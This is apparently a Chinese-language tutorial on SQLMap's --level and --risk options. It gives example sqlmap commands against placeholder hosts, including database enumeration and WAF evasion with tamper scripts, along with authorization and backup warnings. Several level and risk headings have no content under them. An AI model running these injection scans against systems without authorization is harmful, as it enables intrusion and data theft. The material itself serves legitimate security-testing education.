SQLMap
--risk 与
--level 参数深度解析
概述
--risk 和 --level 是 SQLMap 中控制测试深度和风险的两个核心参数,用于在测试效率和测试安全性之间找到平衡点。
1. --level 参数
基本概念
--level 控制测试的全面性和复杂度,范围从 1 到 5,默认为 1。
各等级详细解析
Level 1 (默认)
Level 2
Level 3
Level 4
Level 5
2. --risk 参数
基本概念
--risk 控制测试的风险程度,范围从 1 到 3,默认为 1。
各等级详细解析
Risk 1 (默认)
Risk 2
Risk 3
3. 参数组合策略
常用组合模式
快速扫描模式
sqlmap -u "http://target.com/page?id=1" --level 1 --risk 1
标准测试模式
sqlmap -u "http://target.com/page?id=1" --level 2 --risk 2
深入渗透模式
sqlmap -u "http://target.com/page?id=1" --level 4 --risk 3
全面审计模式
sqlmap -u "http://target.com/page?id=1" --level 5 --risk 3
4. 高级技巧与注意事项
4.1 动态调整策略
# 先快速扫描,再深度测试
sqlmap -u "http://target.com/page?id=1" --level 1 --risk 1
# 如果发现线索,提高级别
sqlmap -u "http://target.com/page?id=1" --level 3 --risk 2
4.2 结合其他参数
# 针对特定注入点提高级别
sqlmap -u "http://target.com/page?id=1" --level 3 --risk 2 --dbms=MySQL
# 测试特定参数
sqlmap -u "http://target.com/page?id=1&name=admin" -p "id,name" --level 3
4.3 性能优化
# 使用线程控制
sqlmap -u "http://target.com/page?id=1" --level 3 --risk 2 --threads=5
# 设置延迟避免触发WAF
sqlmap -u "http://target.com/page?id=1" --level 3 --risk 2 --delay=2
5. 实战示例
场景1:简单GET参数测试
# 初始测试
sqlmap -u "http://example.com/product.php?id=1" --level=2 --risk=1
# 发现注入点后深入
sqlmap -u "http://example.com/product.php?id=1" --level=4 --risk=2 --dbs
场景2:POST请求测试
# 使用 request 文件
sqlmap -r login_request.txt --level=3 --risk=2 --batch
场景3:绕过WAF
# 高等级结合tamper脚本
sqlmap -u "http://target.com/page?id=1" \
--level=5 \
--risk=3 \
--tamper=space2comment,randomcase \
--time-sec=5
6. 重要注意事项
安全警告
授权测试: 仅在获得授权的情况下使用高 risk 级别
备份数据: 使用 risk=3 前确保数据库有备份
生产环境: 避免在生产环境使用 risk=3
性能考虑
时间成本: level 每增加1,测试时间可能增加2-5倍
网络流量: 高 level 会产生大量请求
资源占用: 可能对目标服务器造成压力
最佳实践
渐进式测试: 从低级别开始,逐步提高
目标明确: 根据测试目的选择合适的级别
记录结果: 记录不同级别的测试结果对比
遵守法律: 确保测试行为合法合规
总结
| 参数组合 |
测试深度 |
风险程度 |
适用场景 |
|---|
| level=1 risk=1 |
基础 |
最低 |
快速扫描、初步评估 |
| level=3 risk=2 |
中等 |
中等 |
常规安全测试 |
| level=4 risk=2 |
深入 |
中等 |
深入漏洞挖掘 |
| level=5 risk=3 |
全面 |
最高 |
完全渗透测试(需授权) |
合理组合 --level 和 --risk 参数是使用 SQLMap 的关键技能,需要根据实际测试环境、时间限制和风险承受能力进行灵活调整。